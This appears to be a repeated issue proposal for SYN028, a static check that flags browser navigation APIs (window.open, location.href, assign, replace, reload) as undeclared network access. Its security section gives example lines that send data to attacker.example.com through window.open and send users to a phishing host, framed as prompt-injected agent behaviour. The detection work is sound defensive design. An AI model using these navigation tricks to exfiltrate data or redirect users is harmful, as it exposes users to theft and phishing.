Problem
The SYN-series net-bypass family currently catches:
| Check |
Bypass mechanism |
| SYN007 |
fetch() — HTTP request via Fetch API |
| SYN008 |
WebSocket() — persistent TCP connection |
| SYN009 |
XMLHttpRequest() — HTTP request via XHR |
| SYN027 |
postMessage() — cross-origin messaging |
But navigation APIs are missing:
window.open(url, target) — opens a new browsing context and issues an HTTP request to url; the URL is sent to the network
location.href = url — causes a full-page navigation; equivalent to a GET request
location.assign(url) — same as href assignment
location.replace(url) — navigation without history entry
location.reload() — reissues the current request
All of these cause real network activity, yet none are declared in any uses {} / reads {} / writes {} capability surface.
Security angle
In bot/agent contexts:
- Injected content can call
window.open("https://attacker.example.com/exfil?data=...") to exfiltrate data as a URL parameter
- A prompt-injected fn can redirect the user to a phishing page via
location.href = "https://phishing.example.com"
- These are significantly harder for a browser to intercept than
fetch() (no ServiceWorker interception, no CSP connect-src unless combined with navigate-to)
This is a real exfiltration vector that the current SYN family misses.
Proposed detection (SYN028)
Fire when a fn body at ?bs 0.7+ contains:
window.open(url, ...) or window?.open(url, ...) — where window is a bare global (not obj.window.open)
globalThis.open(url, ...) or self.open(url, ...) — same
location.href = ... — property assignment on bare location
location.assign(url) or location.replace(url) — method calls on bare location
location.reload() — same
- Optional-chain variants:
location?.assign(url), window?.open(url)
Excluded:
obj.location.href = ... — location as a member of a local binding (not the global)
fn location(...) / fn open(...) declarations and method shorthands
- Inside
unsafe {} blocks and unsafe "reason" fn bodies
Relation to existing checks
SYN028 completes the net-bypass coverage at the navigation level, the same way SYN027 completed it at the messaging level. window.open is to navigation what fetch is to data transfer.
Prior art in this series
The detection pattern is identical to SYN027 (postMessage): match on the ident token (location, open), check the receiver for ambient vs. non-ambient, check that it's a call (not a bare reference or declaration), suppress in unsafe.
The location.href = ... assignment form is new but straightforward: match on the href member of a bare location receiver, then check the next significant token is = (assignment).
Fits in
After SYN027 lands. SYN028 is the next code in the sequence.
Problem
The SYN-series net-bypass family currently catches:
fetch()— HTTP request via Fetch APIWebSocket()— persistent TCP connectionXMLHttpRequest()— HTTP request via XHRpostMessage()— cross-origin messagingBut navigation APIs are missing:
window.open(url, target)— opens a new browsing context and issues an HTTP request tourl; the URL is sent to the networklocation.href = url— causes a full-page navigation; equivalent to a GET requestlocation.assign(url)— same as href assignmentlocation.replace(url)— navigation without history entrylocation.reload()— reissues the current requestAll of these cause real network activity, yet none are declared in any
uses {}/reads {}/writes {}capability surface.Security angle
In bot/agent contexts:
window.open("https://attacker.example.com/exfil?data=...")to exfiltrate data as a URL parameterlocation.href = "https://phishing.example.com"fetch()(no ServiceWorker interception, no CSPconnect-srcunless combined withnavigate-to)This is a real exfiltration vector that the current SYN family misses.
Proposed detection (SYN028)
Fire when a fn body at
?bs 0.7+contains:window.open(url, ...)orwindow?.open(url, ...)— wherewindowis a bare global (notobj.window.open)globalThis.open(url, ...)orself.open(url, ...)— samelocation.href = ...— property assignment on barelocationlocation.assign(url)orlocation.replace(url)— method calls on barelocationlocation.reload()— samelocation?.assign(url),window?.open(url)Excluded:
obj.location.href = ...—locationas a member of a local binding (not the global)fn location(...)/fn open(...)declarations and method shorthandsunsafe {}blocks andunsafe "reason" fnbodiesRelation to existing checks
SYN028 completes the net-bypass coverage at the navigation level, the same way SYN027 completed it at the messaging level.
window.openis to navigation whatfetchis to data transfer.Prior art in this series
The detection pattern is identical to SYN027 (postMessage): match on the ident token (
location,open), check the receiver for ambient vs. non-ambient, check that it's a call (not a bare reference or declaration), suppress inunsafe.The
location.href = ...assignment form is new but straightforward: match on thehrefmember of a barelocationreceiver, then check the next significant token is=(assignment).Fits in
After SYN027 lands. SYN028 is the next code in the sequence.